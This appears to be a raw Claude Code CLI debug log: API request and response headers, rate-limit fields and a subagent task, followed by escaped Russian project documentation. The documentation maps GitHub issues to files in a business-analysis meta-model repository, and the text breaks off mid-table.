\"00-16c5d864b374ff9315a2a772feec31a2-9c0d5d8657d20c71-01\",\n[2026-09-29T07:44:47.683Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:47.689Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:47.691Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:47.697Z] [STDOUT]   },\n[2026-09-29T07:44:47.704Z] [STDOUT]   durationMs: 801,\n[2026-09-29T07:44:47.707Z] [STDOUT] }\n[2026-09-29T07:44:47.710Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:47.715Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:47 GMT\",\n[2026-09-29T07:44:47.719Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:47.723Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:47.727Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:47.730Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:47.738Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:47.745Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:47.749Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:47.755Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:47.766Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:47.772Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:47.776Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:47.779Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:47.787Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:47.795Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:47.799Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:47.803Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.808Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:47.820Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:47.824Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:47.844Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:47.851Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.853Z] [STDOUT]   \"request-id\": \"req_011CfXMhvUr4Dk8dsmtwRBDm\",\n[2026-09-29T07:44:47.859Z] [STDOUT]   \"traceresponse\": \"00-16c5d864b374ff9315a2a772feec31a2-9c0d5d8657d20c71-01\",\n[2026-09-29T07:44:47.862Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:47.865Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:47.883Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:47.890Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:47.893Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:47.897Z] [STDOUT]   \"cf-ray\": \"a4295d518fd34d8b-FRA\",\n[2026-09-29T07:44:47.904Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:47.912Z] [STDOUT] [log_d2e982] response parsed {\n[2026-09-29T07:44:47.920Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:47.926Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:47.931Z] [STDOUT]   body: X {\n[2026-09-29T07:44:47.943Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:47.949Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:47.955Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:47.959Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:47.961Z] [STDOUT]     },\n[2026-09-29T07:44:47.966Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:47.971Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:47.979Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:47.983Z] [STDOUT]   },\n[2026-09-29T07:44:47.991Z] [STDOUT]   durationMs: 801,\n[2026-09-29T07:44:47.995Z] [STDOUT] }\n[2026-09-29T07:44:48.093Z] [INFO] {\n[2026-09-29T07:44:48.093Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"message\": {\n[2026-09-29T07:44:48.093Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:48.093Z] [INFO]     \"content\": [\n[2026-09-29T07:44:48.093Z] [INFO]       {\n[2026-09-29T07:44:48.093Z] [INFO]         \"tool_use_id\": \"toolu_01TTaEU1XTXdfzPGiXzPHnyo\",\n[2026-09-29T07:44:48.093Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:48.093Z] [INFO]         \"content\": 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\"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"uuid\": \"cb84c1ac-7543-4042-a0f2-dd7af7fb6755\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:48.090Z\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:48.093Z] [INFO] }\n[2026-09-29T07:44:48.137Z] [STDOUT] [log_7a9a35] sending request {\n[2026-09-29T07:44:48.147Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:48.153Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:48.156Z] [STDOUT]   options: {\n[2026-09-29T07:44:48.164Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:48.167Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:48.170Z] [STDOUT]     body: {\n[2026-09-29T07:44:48.174Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:48.176Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:48.183Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:48.185Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:48.188Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:48.193Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:48.200Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:48.207Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:48.216Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:48.220Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:48.225Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:48.229Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:48.235Z] [STDOUT]     },\n[2026-09-29T07:44:48.242Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:48.247Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:48.251Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:48.254Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:48.259Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:48.262Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:48.268Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:48.270Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:48.274Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:48.280Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:48.283Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:48.292Z] [STDOUT]     },\n[2026-09-29T07:44:48.296Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:48.301Z] [STDOUT]   },\n[2026-09-29T07:44:48.306Z] [STDOUT]   headers: {\n[2026-09-29T07:44:48.311Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:48.315Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:48.322Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:48.332Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:48.336Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:48.342Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:48.347Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:48.349Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:48.358Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:48.361Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:48.366Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:48.374Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1265\",\n[2026-09-29T07:44:48.378Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:48.386Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:48.397Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:48.399Z] [STDOUT]     \"x-client-request-id\": \"0324f6a4-27ce-412e-a2c6-8de1b7615fc4\",\n[2026-09-29T07:44:48.402Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:48.407Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:48.410Z] [STDOUT]     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([ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)).\\n    \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e: 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n    \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\u043e \u0432\u0441\u0435\u0445 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445.\\n\\n12. **\u0410\u043a\u0442\u043e\u0440 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0435\u0442\u0441\u044f.** `\u0410\u043a\u0442\u043e\u0440` \u2014 \u043e\u0431\u0449\u0435\u0435 \u043f\u043e\u043d\u044f\u0442\u0438\u0435\\n    \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430: \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a, AI-\u0430\u0433\u0435\u043d\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440.\\n    \u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439\\n    `extract-actors` \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `A-CORE`; \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f (\u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u0430\\n    \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f) \u0431\u0435\u0440\u0451\u0442 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e\\n    \u043e\u0442\u0442\u0443\u0434\u0430. `\u0421\u0438\u0441\u0442\u0435\u043c\u0430` \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430\\n    ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72.1\u2013\u00a72.2).\\n\\n## \u0427\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0444\u0430\u0439\u043b\u044b \u043c\u043e\u0434\u0443\u043b\u044f\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #563 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| 1. \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f `stepwise`/`oneshot`/`legacy` | [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md), [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a76 |\\n| 2. \u0421\u0438\u043d\u0442\u0435\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0439 | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a72\u2013\u00a75, [`standards/product-taxonomy-reference.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/product-taxonomy-reference.md) |\\n| 3. \u0412\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a72\u2013\u00a73 |\\n| 4. \u0421\u043e\u0441\u0442\u0430\u0432 Execution Package \u0434\u043b\u044f GigaCode | [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) \u00a72\u2013\u00a75 |\\n| 5. \u0410\u0432\u0442\u043e\u043d\u043e\u043c\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0431\u043e\u0440 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0438\u0445 \u0434\u043e\u043c\u0430 | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a72 |\\n| \u041f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430 \u0438 \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0438 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a74\u2013\u00a75 |\\n| \u0417\u0430\u0449\u0438\u0442\u0430 \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b \u043e\u0442 \u0434\u0438\u043a\u0442\u0430\u0442\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f ([\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043a PR #564](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/564)) | [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md), \u00a76.1 [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u00a77 [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), `EP-C6`/`SK-7` [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) |\\n| \u041d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u044b | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a74 |\\n\\n\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b [issue #571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)\\n\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u0435\u0439 0.2 \u0438 \u0434\u0432\u0443\u043c\u044f \u043d\u043e\u0432\u044b\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438.\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #571 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| \u0413\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 | [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md) |\\n| \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u0437\u0438\u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0434\u0435\u043b\u044c\u0442\u0430 \u041a\u041a \u041c\u0430\u043d\u0433\u043e | [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/process-taxonomy) |\\n| \u0413\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0441\u0432\u044f\u0437\u044c \u0441 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438 | [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy) |\\n| \u041e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 (`A-CORE`, `A-TZ`, `A-BCREQ`, `A-REP`, `A-TRACE`) | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a72 |\\n| \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u0438 `\u0421\u0438\u0441\u0442\u0435\u043c\u0430`, `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c`, `\u0410\u043a\u0442\u043e\u0440`, \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 | [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) \u00a72, \u00a74 |\\n| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043a\u0430\u043a \u0433\u0440\u0430\u0444 \u0441 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u043e \u0433\u0435\u0439\u0442\u0430\u043c | [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) \u00a76, [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) \u00a76.1 |\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a77, `GT-5` |\\n| \u0421\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u0435\u0439\u0441\u044b \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u044b | [`exp/ba-process-taxonomy-571/2026-09-10-synthetic-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/2026-09-10-synthetic-cases.md) |\\n| \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0435 | [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md) |\\n\\n\u0417\u0430\u0434\u0430\u0447\u0430 [issue #587](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/587)\\n\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u0435\u0439 0.4 \u2014 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u043e\u0439 \u043c\u043e\u0434\u0443\u043b\u044f, \u0430 \u0442\u043e\u0447\u0435\u0447\u043d\u043e\u0439 \u0434\u043e\u0441\u0442\u0440\u043e\u0439\u043a\u043e\u0439 \u043f\u043e\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438. \u041f\u043e\u0440\u043e\u0433 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 80%\\n\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442: \u0430\u0443\u0434\u0438\u0442 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0438 \u0441\u0435\u043c\u044c\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0439, \u0430 \u0444\u043e\u0440\u043c\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0431\u0435\u0437\\n\u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #587 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 \u0434\u0435\u0441\u044f\u0442\u044c\u044e \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 `research/ai-education` | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a77 |\\n| \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447\u0438 #577 \u043f\u043e \u043f\u0443\u043d\u043a\u0442\u0430\u043c | [`docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md) |\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 (\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u0431\u0430\u0437\u0435 \u0437\u043d\u0430\u043d\u0438\u0439) | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a77.1, `SR-1`\u2026`SR-6` |\\n| \u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 `G-human` \u0432 